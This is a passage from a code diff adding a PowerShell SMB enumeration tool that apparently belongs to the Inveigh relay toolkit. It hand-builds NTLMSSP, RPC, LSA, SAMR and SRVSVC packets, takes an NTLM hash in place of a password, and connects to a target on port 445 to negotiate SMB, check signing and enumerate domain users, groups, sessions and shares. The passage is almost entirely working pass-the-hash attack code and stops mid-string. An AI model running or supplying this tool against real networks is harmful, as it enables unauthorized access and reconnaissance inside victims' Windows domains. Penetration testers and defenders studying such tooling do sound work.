param([Byte[]]$NegotiateFlags,[Byte[]]$Version) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] + [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 + [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 + [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 + [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 + + $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) + $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) + $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) + $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) + $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) + $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($Version) + { + $NTLMSSPNegotiate.Add("Version",$Version) + } + + return $NTLMSSPNegotiate +} + +function New-PacketNTLMSSPAuth +{ + param([Byte[]]$NTLMResponse) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] + [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] + [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] + [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] + + $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) + $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) + $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) + $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) + + return $NTLMSSPAuth +} + +#RPC + +function New-PacketRPCBind +{ + param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) + + [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) + + $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $RPCBind.Add("Version",[Byte[]](0x05)) + $RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $RPCBind.Add("PacketType",[Byte[]](0x0b)) + $RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCBind.Add("FragLength",$FragLength) + $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $RPCBind.Add("CallID",$call_ID) + $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("NumCtxItems",$NumCtxItems) + $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $RPCBind.Add("ContextID",$ContextID) + $RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $RPCBind.Add("Unknown2",[Byte[]](0x00)) + $RPCBind.Add("Interface",$UUID) + $RPCBind.Add("InterfaceVer",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($NumCtxItems[0] -eq 2) + { + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($NumCtxItems[0] -eq 3) + { + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $RPCBind.Add("Unknown4",[Byte[]](0x00)) + $RPCBind.Add("Interface3",$UUID) + $RPCBind.Add("InterfaceVer3",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + } + + if($call_ID -eq 3) + { + $RPCBind.Add("AuthType",[Byte[]](0x0a)) + $RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $RPCBind +} + +function New-PacketRPCRequest +{ + param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) + + if($AuthLength -gt 0) + { + $full_auth_length = $AuthLength + $AuthPadding + 8 + } + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) + [Byte[]]$frag_length = $write_length[0,1] + [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) + [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] + + $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $RPCRequest.Add("Version",[Byte[]](0x05)) + $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $RPCRequest.Add("PacketType",[Byte[]](0x00)) + $RPCRequest.Add("PacketFlags",$Flags) + $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCRequest.Add("FragLength",$frag_length) + $RPCRequest.Add("AuthLength",$auth_length) + $RPCRequest.Add("CallID",$CallID) + $RPCRequest.Add("AllocHint",$alloc_hint) + $RPCRequest.Add("ContextID",$ContextID) + $RPCRequest.Add("Opnum",$Opnum) + + if($data.Length) + { + $RPCRequest.Add("Data",$Data) + } + + return $RPCRequest +} + +# LSA +function New-PacketLSAOpenPolicy +{ + $LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00)) + $LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00)) + $LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + + return $LSAOpenPolicy +} + +function New-PacketLSAQueryInfoPolicy +{ + param([Byte[]]$Handle) + + $LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $LSAQueryInfoPolicy.Add("PointerToHandle",$Handle) + $LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00)) + + return $LSAQueryInfoPolicy +} + +function New-PacketLSAClose +{ + param([Byte[]]$Handle) + + $LSAClose = New-Object System.Collections.Specialized.OrderedDictionary + $LSAClose.Add("PointerToHandle",$Handle) + + return $LSAClose +} + +function New-PacketLSALookupSids +{ + param([Byte[]]$Handle,[Byte[]]$SIDArray) + + $LSALookupSids = New-Object System.Collections.Specialized.OrderedDictionary + $LSALookupSids.Add("PointerToHandle",$Handle) + $LSALookupSids.Add("PointerToSIDs_SIDArray",$SIDArray) + $LSALookupSids.Add("PointerToNames_count",[Byte[]](0x00,0x00,0x00,0x00)) + $LSALookupSids.Add("PointerToNames_NULL_pointer",[Byte[]](0x00,0x00,0x00,0x00)) + $LSALookupSids.Add("PointerToNames_level",[Byte[]](0x01,0x00)) + $LSALookupSids.Add("PointerToCount",[Byte[]](0x00,0x00)) + $LSALookupSids.Add("PointerToCount_count",[Byte[]](0x00,0x00,0x00,0x00)) + + return $LSALookupSids +} + +# SAMR + +function New-PacketSAMRConnect2 +{ + param([String]$SystemName) + + [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) + + if($SystemName.Length % 2) + { + $system_name += 0x00,0x00 + } + else + { + $system_name += 0x00,0x00,0x00,0x00 + } + + $SAMRConnect2 = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRConnect2.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRConnect2.Add("PointerToSystemName_MaxCount",$max_count) + $SAMRConnect2.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRConnect2.Add("PointerToSystemName_ActualCount",$max_count) + $SAMRConnect2.Add("PointerToSystemName_SystemName",$system_name) + $SAMRConnect2.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + + return $SAMRConnect2 +} + +function New-PacketSAMRConnect5 +{ + param([String]$SystemName) + + $SystemName = "\\" + $SystemName + [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) + + if($SystemName.Length % 2) + { + $system_name += 0x00,0x00 + } + else + { + $system_name += 0x00,0x00,0x00,0x00 + } + + $SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRConnect5.Add("PointerToSystemName_MaxCount",$max_count) + $SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToSystemName_ActualCount",$max_count) + $SAMRConnect5.Add("PointerToSystemName_SystemName",$system_name) + $SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SAMRConnect5 +} + +function New-PacketSAMRGetMembersInAlias +{ + param([Byte[]]$Handle) + + $SAMRGetMembersInAlias = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRGetMembersInAlias.Add("PointerToConnectHandle",$Handle) + + return $SAMRGetMembersInAlias +} + +function New-PacketSAMRClose +{ + param([Byte[]]$Handle) + + $SAMRClose = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRClose.Add("PointerToConnectHandle",$Handle) + + return $SAMRClose +} + +function New-PacketSAMROpenAlias +{ + param([Byte[]]$Handle,[Byte[]]$RID) + + $SAMROpenAlias = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenAlias.Add("PointerToConnectHandle",$Handle) + $SAMROpenAlias.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenAlias.Add("RID",$RID) + + return $SAMROpenAlias +} + +function New-PacketSAMROpenGroup +{ + param([Byte[]]$Handle,[Byte[]]$RID) + + $SAMROpenGroup = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenGroup.Add("PointerToConnectHandle",$Handle) + $SAMROpenGroup.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenGroup.Add("RID",$RID) + + return $SAMROpenGroup +} + +function New-PacketSAMRQueryGroupMember +{ + param([Byte[]]$Handle) + + $SAMRQueryGroupMember = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRQueryGroupMember.Add("PointerToGroupHandle",$Handle) + + return $SAMRQueryGroupMember +} + +function New-PacketSAMROpenDomain +{ + param([Byte[]]$Handle,[Byte[]]$SIDCount,[Byte[]]$SID) + + $SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenDomain.Add("PointerToConnectHandle",$Handle) + $SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenDomain.Add("PointerToSid_Count",$SIDCount) + $SAMROpenDomain.Add("PointerToSid_Sid",$SID) + + return $SAMROpenDomain +} + +function New-PacketSAMREnumDomainUsers +{ + param([Byte[]]$Handle) + + $SAMREnumDomainUsers = New-Object System.Collections.Specialized.OrderedDictionary + $SAMREnumDomainUsers.Add("PointerToDomainHandle",$Handle) + $SAMREnumDomainUsers.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMREnumDomainUsers.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00)) + $SAMREnumDomainUsers.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00)) + + return $SAMREnumDomainUsers +} + +function New-PacketSAMRLookupNames +{ + param([Byte[]]$Handle,[String]$Names) + + [Byte[]]$names_bytes = [System.Text.Encoding]::Unicode.GetBytes($Names) + [Byte[]]$name_len = ([System.BitConverter]::GetBytes($names_bytes.Length))[0,1] + [Byte[]]$max_count = [System.BitConverter]::GetBytes($Names.Length) + + $SAMRLookupNames = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRLookupNames.Add("PointerToDomainHandle",$Handle) + $SAMRLookupNames.Add("NumNames",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_MaxCount",[Byte[]](0xe8,0x03,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_NameLen",$name_len) + $SAMRLookupNames.Add("PointerToNames_Names_NameSize",$name_len) + $SAMRLookupNames.Add("PointerToNames_Names_Name_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_Name_MaxCount",$max_count) + $SAMRLookupNames.Add("PointerToNames_Names_Name_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_Name_ActualCount",$max_count) + $SAMRLookupNames.Add("PointerToNames_Names_Name_Names",$names_bytes) + + return $SAMRLookupNames +} + +function New-PacketSAMRLookupRids +{ + param([Byte[]]$Handle,[Byte[]]$RIDCount,[Byte[]]$Rids) + + $SAMRLookupRIDS = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRLookupRIDS.Add("PointerToDomainHandle",$Handle) + $SAMRLookupRIDS.Add("NumRids",$RIDCount) + $SAMRLookupRIDS.Add("Unknown",[Byte[]](0xe8,0x03,0x00,0x00,0x00,0x00,0x00,0x00)) + $SAMRLookupRIDS.Add("NumRids2",$RIDCount) + $SAMRLookupRIDS.Add("Rids",$Rids) + + return $SAMRLookupRIDS +} + +# SRVSVC +function New-PacketSRVSVCNetSessEnum +{ + param([String]$ServerUNC) + + [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) + + if($ServerUNC.Length % 2) + { + $server_UNC += 0x00,0x00 + } + else + { + $server_UNC += 0x00,0x00,0x00,0x00 + } + + $SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$max_count) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$max_count) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) + $SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SRVSVCNetSessEnum +} + +function New-PacketSRVSVCNetShareEnumAll +{ + param([String]$ServerUNC) + + $ServerUNC = "\\" + $ServerUNC + [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) + + if($ServerUNC.Length % 2) + { + $server_UNC += 0x00,0x00 + } + else + { + $server_UNC += 0x00,0x00,0x00,0x00 + } + + $SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$max_count) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$max_count) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) + $SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SRVSVCNetShareEnum +} + +function Get-UInt16DataLength +{ + param ([Int]$Start,[Byte[]]$Data) + + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) + + return $data_length +} + +function Get-StatusPending +{ + param ([Byte[]]$Status) + + if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') + { + $status_pending = $true + } + + return $status_pending +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + + if(!$Inveigh) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + + $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +if(!$inveigh_session) +{ + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 5000 +} + +if(!$startup_error -and !$inveigh_session) +{ + + try + { + $client.Connect($Target,"445") + } + catch + { + Write-Output "[-] $Target did not respond" + } + +} + +if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) +{ + $client_receive = New-Object System.Byte[] 81920 + + if(!$inveigh_session) + { + $client_stream = $client.GetStream() + + if($SMB_version -eq 'SMB2.1') + { + $stage = 'NegotiateSMB2' + } + else + { + $stage = 'NegotiateSMB' + } + + while($stage -ne 'Exit') + { + + try + { + + switch ($stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + + } + else + { + $stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { + + if($signing_check) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + catch + { + + if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') + { + Write-Output "[-] SMB1 